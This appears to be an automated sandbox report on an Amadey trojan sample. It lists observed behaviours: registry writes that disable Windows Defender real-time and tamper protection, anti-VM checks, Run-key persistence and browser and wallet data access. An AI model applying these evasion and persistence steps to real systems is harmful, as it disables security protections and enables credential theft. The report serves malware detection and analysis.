Malware Analysis Report

2024-12-07 15:16

Sample ID 241113-1t5teatlaq
Target 37bb540ef0728807db30f972fcfd0f299d3999e5355cf6132e747a5b478e7fd9
SHA256 37bb540ef0728807db30f972fcfd0f299d3999e5355cf6132e747a5b478e7fd9
Tags
amadey 9c9aa5 discovery evasion execution persistence spyware stealer trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

37bb540ef0728807db30f972fcfd0f299d3999e5355cf6132e747a5b478e7fd9

Threat Level: Known bad

The file 37bb540ef0728807db30f972fcfd0f299d3999e5355cf6132e747a5b478e7fd9 was found to be: Known bad.

Malicious Activity Summary

amadey 9c9aa5 discovery evasion execution persistence spyware stealer trojan upx

Amadey

Modifies Windows Defender Real-time Protection settings

Amadey family

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Identifies Wine through registry keys

Checks BIOS information in registry

Drops startup file

Checks computer location settings

Executes dropped EXE

Windows security modification

Reads user/profile data of web browsers

Adds Run key to start application

Accesses cryptocurrency files/wallets, possible credential harvesting

Checks installed software on the system

Suspicious use of NtSetInformationThreadHideFromDebugger

UPX packed file

AutoIT Executable

Drops file in Windows directory

Enumerates physical storage devices

Browser Information Discovery

Unsigned PE

System Location Discovery: System Language Discovery

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Uses Task Scheduler COM API

Suspicious use of AdjustPrivilegeToken

Suspicious use of SendNotifyMessage

Suspicious use of WriteProcessMemory

Modifies registry class

Enumerates system info in registry

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Kills process with taskkill

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 21:57

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 21:57

Reported

2024-11-13 22:00

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

155s

Command Line

"C:\Users\Admin\AppData\Local\Temp\37bb540ef0728807db30f972fcfd0f299d3999e5355cf6132e747a5b478e7fd9.exe"

Signatures

Amadey

trojan amadey

Amadey family

amadey

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006061001\42abf53ddc.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3T73k.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3T73k.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006061001\42abf53ddc.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006061001\42abf53ddc.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3T73k.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe C:\Windows\system32\curl.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3T73k.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006061001\42abf53ddc.exe N/A

Reads user/profile data of web browsers

spyware stealer

Windows security modification

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\37bb540ef0728807db30f972fcfd0f299d3999e5355cf6132e747a5b478e7fd9.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\p6W91.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\0d1b67b572.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1006060001\\0d1b67b572.exe" C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\42abf53ddc.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1006061001\\42abf53ddc.exe" C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1232b87211.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1006063001\\1232b87211.exe" C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A

Checks installed software on the system

discovery

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\skotes.job C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3T73k.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\37bb540ef0728807db30f972fcfd0f299d3999e5355cf6132e747a5b478e7fd9.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006061001\42abf53ddc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\p6W91.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3T73k.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3T73k.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006061001\42abf53ddc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006061001\42abf53ddc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
